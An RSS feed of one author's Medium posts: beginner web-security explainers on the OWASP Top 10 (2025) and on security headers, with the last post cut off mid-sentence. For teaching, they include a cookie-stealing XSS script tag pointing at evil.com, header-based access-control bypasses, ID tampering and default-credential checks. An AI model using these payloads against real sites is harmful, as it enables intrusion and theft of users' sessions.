<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Shruti Vijay Shinde on Medium]]></title>
        <description><![CDATA[Stories by Shruti Vijay Shinde on Medium]]></description>
        <link>https://medium.com/@shrutishinde1319?source=rss-85fdc83f6cda------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*x-EeSLGg3Qjzy87X161bJg.png</url>
            <title>Stories by Shruti Vijay Shinde on Medium</title>
            <link>https://medium.com/@shrutishinde1319?source=rss-85fdc83f6cda------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 12:25:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shrutishinde1319/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A04: Cryptographic Failures — OWASP Top 10 (2025)]]></title>
            <link>https://medium.com/@shrutishinde1319/a04-cryptographic-failures-owasp-top-10-2025-22f8091303d1?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/22f8091303d1</guid>
            <category><![CDATA[owasp-a04]]></category>
            <category><![CDATA[cryptographicfailure]]></category>
            <category><![CDATA[hashing-vs-encryption]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 05:55:19 GMT</pubDate>
            <atom:updated>2026-11-18T05:55:19.904Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Part 4 of my OWASP Top 10 (2025) series.</em></p><p>If Someone sends his/her password to a server, how do we stop someone else from reading it? What if someone intercepts the request, steals stored data, or modifies information while it’s travelling?</p><p>This is where cryptography comes in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dh9bJpWfjXvfUuCoi1KM2w.png" /></figure><p>Security relies on three important goals:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SjEtS3vr1EEEXavXmUsKXA.png" /></figure><h3>What Is Encryption?</h3><p>Encryption converts readable data (<strong>plaintext</strong>) into unreadable data (<strong>ciphertext</strong>) using an algorithm and a key. Decryption converts it back.</p><h3>What Is Hashing?</h3><p>Hashing converts data into a fixed-length output called a <strong>hash</strong>. Unlike encryption, hashing is designed to be one-way you cannot simply decrypt a hash to recover the original data.</p><p>For example, SHA-256 always produces a 256-bit hash, regardless of the input size.</p><h3>What Is Salt?</h3><p>Salt is random data added to a password before hashing. It ensures that two users with the same password don’t end up with identical password hashes.</p><p>This also makes precomputed rainbow-table attacks much less effective.</p><h3>Different Algorithms, Different Purposes</h3><p>Now that we understand encryption, hashing, and salt, the next question is: <strong>what actually makes these protections secure?</strong></p><p>The answer lies in the algorithms being used.</p><p>Different algorithms are designed for different purposes. Some protect data by encrypting it, some generate hashes, and others are specifically designed to store passwords securely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IeRWPhrqZio5TRTCTmuzjg.png" /></figure><p>Every algorithm has its own purpose, advantages, and limitations. The problem isn’t simply using an algorithm it’s using the wrong algorithm for the wrong purpose.</p><p>For example, SHA-256 is a strong hashing algorithm for many integrity-checking purposes, but using it directly to store passwords is a poor choice because attackers can test guesses very quickly.</p><p>Similarly, encryption is only as strong as its implementation and key management. Even a strong algorithm can fail if the encryption key is exposed or the application uses it incorrectly.</p><h3>Where Does the Risk Begin?</h3><p>This is where cryptographic failures become interesting from a security perspective. A developer might use a strong algorithm but implement it incorrectly, store sensitive data without encryption, expose secret keys, or choose a hashing method that’s too fast for password storage.</p><p>The result? Sensitive information may become readable, passwords may be easier to crack, or data may be manipulated without proper detection.</p><h3>As a Pentester: What Should I Look For?</h3><p>During testing, identify sensitive information that requires protection:</p><ul><li>Passwords and password hashes</li><li>Authentication tokens and session cookies</li><li>API keys and JWT secrets</li><li>Personal and financial information</li><li>Encryption keys and database credentials</li></ul><p>Then investigate how the application protects them.</p><p>Check for:</p><ul><li>Plain HTTP instead of HTTPS</li><li>Sensitive data exposed in API responses</li><li>Cryptographic keys in source code or configuration files</li><li>Weak encryption algorithms</li><li>Poor password hashing practices</li><li>Insecure JWT implementation</li><li>Debug endpoints revealing sensitive information</li></ul><p>For example, an API response containing:</p><pre>{<br>  &quot;username&quot;: &quot;shruti&quot;,<br>  &quot;password_hash&quot;: &quot;5f4dcc3b5aa765d61d8327deb882cf99&quot;<br>}</pre><p>is a serious red flag. Even though the password is hashed, exposing password hashes unnecessarily creates an additional risk.</p><p>A hash isn’t the original password, but it doesn’t mean it’s harmless. If the hashing algorithm is weak, an attacker may be able to crack it and recover the original password.</p><p>As a pentester, the goal is not just to identify exposed data, but to understand how it is protected, whether that protection is strong enough, and what an attacker could do if it fails.<br>Thank You for Reading !</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=22f8091303d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A03: Software Supply Chain Failures — OWASP Top 10 (2025)]]></title>
            <link>https://medium.com/@shrutishinde1319/a03-software-supply-chain-failures-owasp-top-10-2025-e554db1231c5?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/e554db1231c5</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[software-supply-chain]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Fri, 13 Nov 2026 14:58:13 GMT</pubDate>
            <atom:updated>2026-11-13T14:58:13.882Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Part 3 of my OWASP Top 10 (2025) series. Catch up on </em><a href="https://medium.com/@shrutishinde1319/security-misconfiguration-owasp-top-10-2025-a802282-a800246773b9"><em>A02: Security Misconfiguration</em></a><em> and </em><a href="https://medium.com/@shrutishinde1319/broken-access-control-owasp-top-10-2025-the-1-web-security-risk-d843bd36ef5e"><em>Broken Access Control — the #1 web security risk</em></a><em> before this one.</em></p><p>When building a web application, do developers write every line of code themselves? Of course not.</p><p>Modern applications depend on hundreds of libraries, frameworks, and packages developed by others. These dependencies save time, but they also introduce security risks.</p><p>That’s where <strong>A03: Software Supply Chain Failures</strong> comes in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3oNLIOX17pkzfjWtwNeVg.png" /></figure><h3>Understanding Software Supply Chain Failures</h3><p>Imagine building a house. You purchase cement, steel, wiring, and pipes from different suppliers instead of manufacturing everything yourself.</p><p>Now imagine one supplier delivers defective steel. Even if your construction work is perfect, the house can still become unsafe.</p><p>Software works the same way.</p><p>A Java application might use Spring, Jackson, or Log4j. A Node.js application might depend on Express, Axios, or Lodash. These are called <strong>dependencies</strong> software your application relies on but doesn’t necessarily develop itself.</p><p>If one of these dependencies contains a vulnerability, your application may inherit that security risk.</p><p><strong>That’s the core idea behind Software Supply Chain Failures.</strong></p><h3>How Does a Pentester Test This?</h3><h3>Step 1: Identify the Technology Stack</h3><p>First, understand what the application is built with:</p><ul><li>Frontend and backend frameworks</li><li>JavaScript libraries</li><li>CMS platforms</li><li>Server software</li><li>Third-party components</li></ul><h3>Step 2: Identify the Dependencies</h3><p>Look for libraries such as:</p><ul><li>jQuery</li><li>Angular</li><li>React</li><li>Lodash</li><li>Moment.js</li></ul><p>Sometimes their versions are visible directly in the application. Other times, you need to investigate further.</p><h3>Step 3: Check for Known Vulnerabilities</h3><p>Once you identify a library and its version, check whether it has known security issues.</p><p>Useful resources include:</p><ul><li><a href="https://nvd.nist.gov/">NVD</a></li><li><a href="https://github.com/advisories">GitHub Security Advisories</a></li><li><a href="https://osv.dev/">OSV</a></li></ul><p>Remember: <strong>An outdated version is not automatically vulnerable. Always verify the specific version and affected conditions.</strong></p><h3>Step 4: Look for Exposed Dependency Files</h3><p>This is where recon gets interesting.</p><p>Sometimes developers accidentally expose files that reveal the application’s dependencies and versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEabjezv_e3WE0KH1BmyiQ.png" /></figure><p>If these files are publicly accessible, they can provide attackers with a detailed roadmap of the application’s software components.</p><h3>My Experience: Finding a Real Supply Chain Issue</h3><p>During recon on a target, I discovered two exposed files:</p><ul><li>package.json</li><li>npm-shrinkwrap.json</li></ul><p>The first listed the project’s dependencies. The second revealed the exact resolved versions of those packages, including transitive dependencies. While reviewing the list, one package caught my attention:</p><p><strong>Lodash — an outdated version.</strong></p><p>Instead of immediately assuming it was vulnerable, I checked its known security issues. That’s when I connected it to <strong>Prototype Pollution</strong>.</p><h3>What Is Prototype Pollution?</h3><p>Prototype Pollution is a JavaScript vulnerability where an attacker manipulates an object’s prototype, potentially causing attacker-controlled properties to appear on other objects.</p><p>For example, if an application processes malicious input containing __proto__ without proper protection, an attacker may be able to modify Object.prototype.</p><p>This can become dangerous when application logic trusts inherited properties. Imagine an authorization check like:</p><p>if (user.isAdmin)</p><p>If isAdmin becomes an inherited attacker-controlled property, the application may incorrectly treat a user as an administrator.</p><p><strong>Important:</strong> Prototype Pollution does not automatically grant admin access. Its impact depends on how the application handles polluted properties and whether vulnerable code paths can be exploited.</p><h3>Why This Finding Matters</h3><p>What made this interesting was that I didn’t need to guess the application’s dependencies.</p><p>The exposed files gave me the information. The dependency version helped me identify a known vulnerability. And that turned an ordinary recon observation into a meaningful security lead. This is exactly why exposed dependency files deserve attention during security testing.</p><p><strong>You don’t always need to break the application to find a weakness sometimes, it reveals one itself. Thank Your for Reading</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e554db1231c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Security Misconfiguration : OWASP Top 10 (2025) — A02]]></title>
            <link>https://medium.com/@shrutishinde1319/security-misconfiguration-owasp-top-10-2025-a02-a800246773b9?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/a800246773b9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security-misconfiguration]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[owasp-top-10-2025]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 17:42:39 GMT</pubDate>
            <atom:updated>2026-10-14T17:42:39.120Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly look at the #2 web security risk</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Awruy1OYVwIz9iFHgqJ2Ow.png" /></figure><p>Hey everyone! 👋</p><p>In my previous article, we discussed <strong>A01: Broken Access Control</strong>, the #1 risk in the OWASP Top 10 (2025).</p><p>Read it here: <a href="https://medium.com/@shrutishinde1319/broken-access-control-owasp-top-10-2025-the-1-web-security-risk-d843bd36ef5e">Broken Access Control: OWASP Top 10 2025</a></p><p>Today, let’s understand <strong>A02:2025 — Security Misconfiguration</strong>, the #2 web security risk.</p><h3>What Is Configuration?</h3><p><strong>Configuration means the settings that control how an application or system works.</strong></p><p>For example:</p><ul><li>Should debug mode be enabled?</li><li>Who can access the admin panel?</li><li>Which ports should be open?</li><li>Should error messages show detailed information?</li><li>Which security headers should be enabled?</li></ul><h3>What Is Security Misconfiguration?</h3><p><strong>Security Misconfiguration happens when a system has incorrect or insecure settings that expose sensitive information, unnecessary features, or unauthorized access.</strong></p><h3>Real-Life Example 🏠</h3><p>Imagine your house has strong locks, but you accidentally leave a window open. Someone could enter through that window.</p><p>Similarly, even if a website has good security, one incorrect setting can make it vulnerable.</p><p>Let’s look at some common examples.</p><h3>1. Default Credentials</h3><p>Some software comes with default usernames and passwords, such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*tmYUc47jVCfcUjuvLTfihQ.png" /></figure><pre>Username: admin<br>Password: admin</pre><p>If these credentials are not changed, an attacker might use them to access the system.</p><p><strong>As a Pentester:</strong> Identify the technology and check its official documentation for known default credentials. Test only with proper authorization.</p><h3>2. Sensitive Files Exposed</h3><p>Files like .env, .git, backups, and database dumps may contain passwords, API keys, or other sensitive information.</p><p>For example, if this file is publicly accessible:</p><pre>https://example.com/.env</pre><p>An attacker might discover secrets that should remain private.</p><p><strong>As a Pentester:</strong> Check for exposed files and directories using tools such as ffuf and dirsearch.</p><h3>3. Unnecessary Open Ports</h3><p>An IP address identifies a machine, while a port identifies a service running on it.</p><p>A database port exposed to the internet may allow unauthorized connection attempts.</p><p><strong>As a Pentester:</strong> Use Nmap to identify open ports and investigate whether the exposed services are necessary.</p><pre>nmap example.com</pre><h3>4. Using HTTP Instead of HTTPS</h3><p>HTTP does not encrypt web traffic by itself. HTTPS uses TLS to protect communication between the browser and server.</p><p>With plain HTTP, someone capable of intercepting network traffic may read or modify sensitive information.</p><p><strong>Prevention:</strong> Use HTTPS and redirect HTTP traffic to HTTPS.</p><h3>5. Detailed Error Messages</h3><p>When something goes wrong, an application may reveal information such as:</p><pre>Error: Database connection failed<br>File: /var/www/app/database.py<br>Database: MySQL<br>Internal IP: 10.0.0.15</pre><p>This information can help an attacker understand the application’s internal structure.</p><p><strong>As a Pentester:</strong> Observe how the application responds to invalid URLs and inputs.</p><p><strong>Prevention:</strong> Display generic error messages to users and keep detailed errors in protected server-side logs.</p><h3>6. Directory Listing Enabled</h3><p>A directory is simply a folder on the server.</p><p>If directory listing is enabled, visiting a folder might reveal its contents:</p><pre>Index of /backup/</pre><pre>backup.zip<br>config.old<br>database.sql</pre><p>These files may contain sensitive information.</p><p><strong>Prevention:</strong> Disable directory listing and prevent public access to sensitive files.</p><h3>7. Debug Mode Enabled</h3><p>Debug mode helps developers identify errors during development. However, leaving it enabled in production may expose file paths, internal details, and secrets.</p><p>For example:</p><pre>DatabaseError<br>File: /var/www/app/login.py<br>Line: 87</pre><p><strong>As a Pentester:</strong> Trigger harmless errors and check whether detailed technical information appears in the response.</p><p><strong>Prevention:</strong> Disable debug mode in production and show users generic error messages.</p><h3>How to Prevent Security Misconfiguration</h3><p>Here are the key practices:</p><ul><li>Change default credentials before deployment.</li><li>Keep sensitive files outside the public web directory.</li><li>Close unnecessary ports and disable unused services.</li><li>Use HTTPS everywhere.</li><li>Disable debug mode in production.</li><li>Hide detailed error messages from users.</li><li>Configure appropriate security headers.</li><li>Disable directory listing.</li><li>Review security settings regularly.</li></ul><p>Security Misconfiguration is often caused by simple mistakes, As a <strong>Pentester</strong>, your goal is to identify these insecure settings, understand their impact, and recommend fixes.</p><p>Thanks for reading!</p><p>#CyberSecurity #OWASP #WebApplicationSecurity #PenetrationTesting #InfoSec</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a800246773b9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control OWASP Top 10 (2025): A Practical Checklist (Part 2)]]></title>
            <link>https://medium.com/@shrutishinde1319/broken-access-control-owasp-top-10-2025-a-practical-checklist-part-2-c22c078e0cae?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/c22c078e0cae</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Wed, 07 Oct 2026 06:16:33 GMT</pubDate>
            <atom:updated>2026-10-07T06:16:33.537Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey everyone! 👋</p><p>In <a href="https://medium.com/@shrutishinde1319/broken-access-control-owasp-top-10-2025-the-1-web-security-risk-d843bd36ef5e?postPublishedType=repub">Part 1</a>, we covered the basics of <strong>Broken Access Control (BAC)</strong> — IDOR, horizontal and vertical privilege escalation, and forced browsing.</p><p>Now let’s make it practical.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PXFyS2z2Wrh1QlBfntswmQ.png" /></figure><h3>1. Check robots.txt and sitemap.xml</h3><p>Start with:</p><pre>https://target.com/robots.txt<br>https://target.com/sitemap.xml</pre><p>Sometimes robots.txt reveals interesting paths:</p><pre>Disallow: /admin-panel/<br>Disallow: /internal/<br>Disallow: /staff/</pre><p>These paths aren’t necessarily protected. If you find something interesting, check whether the application actually enforces authorization.</p><p><strong>Remember:</strong> robots.txt tells search engines what not to crawl. It doesn&#39;t protect a page from attackers.</p><h3>2. Look for Hidden Endpoints</h3><p>Check the page source, JavaScript files, and Network tab in DevTools.</p><p>Look for:</p><ul><li>Hidden admin functionality</li><li>API endpoints</li><li>fetch() / XHR requests</li><li>Role-based frontend checks</li></ul><p>For example:</p><pre>if (user.role === &quot;admin&quot;) {<br>    showAdminPanel();<br>}</pre><p>The button may be hidden from normal users, but the API endpoint behind it could still be accessible directly.</p><p><strong>Hiding a feature is not the same as protecting it.</strong></p><h3>3. Test Reference IDs</h3><p>Whenever you see an ID in a request, try changing it.</p><p>For example:</p><pre>GET /api/invoice?invoice_id=1042</pre><p>Try another value:</p><pre>GET /api/invoice?invoice_id=1043</pre><p>Also look for:</p><ul><li>user_id</li><li>order_id</li><li>document_id/invoice_id</li><li>filenames</li><li>UUIDs</li></ul><p>If changing the reference gives you access to another user’s resource, it could indicate an <strong>IDOR/Broken Access Control</strong> vulnerability.</p><h3>4. Read the Response Carefully</h3><p>Don’t focus only on the request.</p><p>Sometimes the response contains information that isn’t visible in the UI:</p><pre>{<br>  &quot;status&quot;: &quot;success&quot;,<br>  &quot;user&quot;: {<br>    &quot;role_id&quot;: 123<br>  }<br>}</pre><p>You may find:</p><ul><li>User IDs</li><li>Role IDs</li><li>Object references</li><li>UUIDs</li><li>Other internal information</li></ul><p>While testing an email update functionality, I noticed information in the response that wasn’t visible on the page.</p><p><strong>Always read the complete response not just the status code.</strong></p><h3>5. Don’t Assume UUIDs Are Secure</h3><p>UUIDs may look random:</p><pre>550e8400-e29b-41d4-a716-446655440000</pre><p>But randomness doesn’t replace authorization.</p><p>UUIDs can sometimes appear in API responses, team/member lists, URLs, invitation links, JavaScript files, or other places.</p><p>If you obtain another user’s UUID, check whether it can be used to access their resources:</p><pre>GET /api/documents/&lt;uuid&gt;</pre><p>If the application returns the resource without checking whether you are authorized to access it, that’s still a Broken Access Control issue.</p><p><strong>Random ID ≠ Authorization.</strong></p><h3>6. Don’t Immediately Stop at 401 or 403</h3><p>If you receive:</p><pre>401 Unauthorized<br>403 Forbidden</pre><p>don’t always assume the test is over.</p><p>Depending on the application architecture, different components such as reverse proxies, web servers, and backend applications may process the request differently.</p><p>For example, access-control bypass techniques may involve headers such as:</p><pre>X-Original-URL: /admin/dashboard<br>X-Rewrite-URL: /admin/dashboard</pre><p>These techniques don’t work everywhere, but they are worth understanding and practicing in authorized environments.</p><p>That’s where many access control issues begin.</p><p>Thanks for reading! 🙌</p><p>More practical security testing tips coming in the next part.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c22c078e0cae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control OWASP Top 10 (2025): The #1 Web Security Risk (Part 1)]]></title>
            <link>https://medium.com/@shrutishinde1319/broken-access-control-owasp-top-10-2025-the-1-web-security-risk-d843bd36ef5e?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/d843bd36ef5e</guid>
            <category><![CDATA[web-security-testing]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Tue, 29 Sep 2026 16:43:53 GMT</pubDate>
            <atom:updated>2026-10-07T05:51:20.027Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDRoyULP16R3qjgBBEqfMg.png" /></figure><p>Hey everyone! 👋</p><p>I’ll be splitting this article into <strong>two parts</strong>:</p><ul><li><strong>Part 1 (this one):</strong> The theory. What the OWASP Top 10 is, what Broken Access Control (BAC) means, and its key concepts.</li><li><strong>Part 2:</strong> A practical checklist you can use to find BAC in an application, or to protect your own website from it.</li></ul><p>Let’s get started.</p><h3>What is OWASP Top 10?</h3><p><strong>OWASP</strong> stands for <strong>Open Worldwide Application Security Project</strong>.</p><p>The <strong>OWASP Top 10</strong> is an awareness document that identifies and highlights the ten most critical security risks in web applications. It helps developers and security professionals understand, identify, and mitigate common application security risks.</p><p>In the <strong>2025</strong> edition, the number one risk is:</p><blockquote><strong><em>A01:2025 — Broken Access Control</em></strong></blockquote><p>Before we understand what is “broken”, we need to understand two terms that people often mix up.</p><h3>Authentication vs Authorization</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*PiYK9vH0QAeZU4Qe7rlPvg.png" /></figure><p><strong>Broken Access Control is a failure of authorization.</strong> The system knows who you are, but it doesn’t properly check what you’re allowed to do.</p><h3>What is Broken Access Control (BAC)?</h3><p><strong>Broken Access Control</strong> is a common vulnerability that happens when a web application or API uses user-supplied input to directly access internal database records without verifying whether the user has permission to see them.</p><h4>A Simple Example</h4><p>Imagine you log in to a banking website and open your account statement. The URL looks like this:</p><pre>https://mybank.com/statement?account=12345</pre><p>Now you change the number in the URL:</p><pre>https://mybank.com/statement?account=12346</pre><p>And suddenly you’re looking at <strong>someone else’s bank statement</strong>. 😱</p><p>The application trusted the value you sent (12346) and fetched the record. It never asked: <em>&quot;Does this user actually own this account?&quot;</em></p><p>That missing check is Broken Access Control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*qmxXnxbPGYDce3TCpuG9Bw.png" /></figure><p>BAC shows up in a few common forms. that are above shown with the help of an diagram</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bvUCJ-AScIKBJbRf_RMCWQ.png" /></figure><p>Let’s look at them one by one.</p><h3>1. IDOR (Insecure Direct Object Reference)</h3><p><strong>IDOR</strong> occurs when an application allows a user to access another user’s or a restricted resource by changing a direct reference such as an ID, number, or filename.</p><h4>A Reference is Not Limited to an “ID”</h4><p>This is where beginners often get caught. A reference can take many forms:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*PnQsqmQQ8sbegDMAq0oV5g.png" /></figure><p>Anything that points to a specific object (a user, an order, a file, an account) can be a <strong>direct reference</strong>. If the server trusts it without checking ownership, it is a candidate for IDOR.</p><h3>2. Privilege Escalation</h3><p>Privilege escalation means a user gains access to something beyond what they were meant to have. It comes in two types.</p><h4>(a) Horizontal Privilege Escalation</h4><p>Horizontal privilege escalation occurs when a user accesses <strong>another user’s</strong> resources or functionality at the <strong>same privilege level</strong>.</p><p><strong>Example:</strong> Amit and Priya are both regular customers. Amit changes ?order_id=700 to ?order_id=701 and sees Priya&#39;s order details.</p><p>Same role (customer), different person’s data. Amit moved <em>sideways</em>.</p><h4>(b) Vertical Privilege Escalation</h4><p>Vertical privilege escalation occurs when a user accesses <strong>another user’s</strong> resources or functionality at a <strong>higher privilege level</strong>.</p><p><strong>Example:</strong> Amit is a regular user. He discovers that sending a request to /admin/delete-user works, even though he isn&#39;t an admin. Amit moved <em>upward</em>.</p><h3>3. Forced Browsing / Missing Access Control</h3><p><strong>Forced browsing</strong> means directly accessing a page or endpoint that you are not supposed to access, usually by guessing or manually entering its URL.</p><h4>Example</h4><p>Rahul is an employee. He can normally see:</p><pre>/employee/dashboard<br>/employee/profile</pre><p>The website doesn’t show him any “Manager Dashboard” button. So Rahul thinks:</p><blockquote>“Maybe I can’t access it.”</blockquote><p>But instead of looking for a button, Rahul manually types this into the address bar:</p><pre>/manager/dashboard</pre><p>If the page loads, the application relied on <strong>hiding the link</strong> rather than <strong>enforcing access control</strong>. The page was hidden, not protected. Hiding a button is not security.</p><h3>A Common Confusion</h3><p>Here is a question many people ask:</p><blockquote><strong><em>“When I change </em></strong><strong><em>?id=01 to </em></strong><strong><em>?id=02, I&#39;m also guessing. Isn&#39;t that forced browsing?&quot;</em></strong></blockquote><p><strong>No.</strong> The difference is what you are guessing:</p><ul><li>In <strong>forced browsing</strong>, you are guessing a <strong>URL/endpoint</strong> that isn’t linked for you, like typing /manager/dashboard.</li><li>In <strong>IDOR</strong>, you are <strong>manipulating an object reference inside an existing request</strong>, like changing id=01 to id=02.</li></ul><p>ending it with One idea ties all of these together: <strong>hiding something is not the same as protecting it.</strong> Every request must be checked on the server, every time.</p><p>In <strong>Part 2</strong>, we’ll turn this theory into a practical checklist for testing and preventing Broken Access Control.</p><p>Thanks for reading! If this helped you, give it a 👏 and follow for Part 2.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d843bd36ef5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Security Headers Matter — And What Happens When They’re Missing]]></title>
            <link>https://medium.com/@shrutishinde1319/why-security-headers-matter-and-what-happens-when-theyre-missing-25ec91881094?source=rss-85fdc83f6cda------2</link>
            <guid isPermaLink="false">https://medium.com/p/25ec91881094</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-header]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Shruti Vijay Shinde]]></dc:creator>
            <pubDate>Thu, 24 Sep 2026 07:10:30 GMT</pubDate>
            <atom:updated>2026-09-24T07:10:30.081Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CrXbEomupOXImd69ceiusw.png" /></figure><p>You’ve tested the login form, checked the API, maybe even found an IDOR or two.</p><p>But there’s another part of a web application that is easy to overlook: <strong>security headers</strong>. They might not seem exciting. You don’t get a shell from them, and they usually don’t give you an instant critical vulnerability.</p><p>Still, security headers are important because they give the browser <strong>extra instructions about how to safely handle a web page</strong>.</p><p>And the best part?</p><p>They’re often simple to configure sometimes just a few lines on the server. When they’re missing or configured incorrectly, they can make other vulnerabilities easier to exploit.</p><p>In this article, we’ll understand:</p><ul><li>What security headers are</li><li>Why they matter</li><li>How to check whether they’re present</li><li>Which security headers are important</li><li>What can happen when each one is missing</li></ul><p><strong>How to Check for Security Headers</strong></p><p>Checking security headers is actually pretty easy.</p><p><strong>1. Use SecurityHeaders.com</strong></p><p>A quick way to get an overview is <a href="https://securityheaders.com/">SecurityHeaders.com</a>.</p><p>Enter the target URL, and it will check the response headers, show what’s missing, and give you a security grade.</p><p>It’s great for a <strong>quick first check</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-q0MMmOff8QY5GkoWvDJA.png" /></figure><p><strong>(a) Content-Security-Policy (CSP)</strong></p><p><strong>CSP tells the browser where it is allowed to load content from</strong>, such as JavaScript, CSS, images, and frames.</p><p>Content-Security-Policy: default-src ‘self’</p><p><strong>What does it mean?</strong></p><p>It basically tells the browser: <strong><em>“Only allow content from this website by default.”</em></strong></p><p><strong>Why does it matter?</strong></p><p>CSP is an important defense against <strong>Cross-Site Scripting (XSS)</strong>. For example, suppose a comment box has a stored XSS vulnerability and an attacker injects:</p><p>&lt;script src=”https://evil.com/steal-cookies.js&quot;&gt;&lt;/script&gt;</p><p>Without CSP, the browser may load and execute that script.</p><p>But with: default-src ‘self’</p><p>the browser can block the script because it is coming from evil.com, which is not an allowed source.</p><p>So even though the XSS payload was injected, <strong>CSP can stop the malicious script from running. Don’t just check if CSP exists</strong></p><p>A CSP can exist but still be too weak.</p><p>For example:</p><p>script-src ‘unsafe-inline’ or: script-src *</p><p>can make the policy much less effective. So as a pentester, don’t just ask:<strong><em>“Is CSP present?” </em></strong>Also ask:<strong><em>“Is the CSP actually restrictive enough to provide protection?”</em></strong></p><p><strong>(b) X-Content-Type-Options</strong></p><p>X-Content-Type-Options: nosniff</p><p><strong>What does it mean?</strong></p><p>It tells the browser: <strong><em>“Don’t guess the file type. Trust what the server says.”</em></strong></p><p><strong>Why does it matter?</strong></p><p>Without this header, the browser may try to <strong>guess the type of a file</strong>. This is called <strong>MIME sniffing</strong>. Attackers can sometimes abuse this behavior, especially with file uploads, to make a harmless-looking file execute as HTML or JavaScript.</p><p>With nosniff, the browser follows the server’s declared Content-Type instead of guessing.</p><p><strong>As a pentester:</strong> Check whether X-Content-Type-Options: nosniff is present, especially on applications that allow file uploads.</p><p><strong>(C ). Strict-Transport-Security (HSTS)</strong></p><p>Strict-Transport-Security: max-age=31536000</p><p><strong>What does it mean?</strong></p><p>It tells the browser: <strong><em>“Always use HTTPS for this website.” </em></strong>max-age tells the browser <strong>how long</strong> to remember this rule.</p><p><strong>Why does it matter?</strong></p><p>Without HSTS, a user may first connect to the website using HTTP before being redirected to HTTPS. That first HTTP connection is <strong>not encrypted</strong>.</p><p><strong>Attack Example</strong></p><p>An attacker on the same network, such as public Wi-Fi, can perform an <strong>SSL-stripping attack</strong>. They can intercept the HTTP connection and prevent the victim from switching to HTTPS. This could expose sensitive information such as <strong>login credentials and 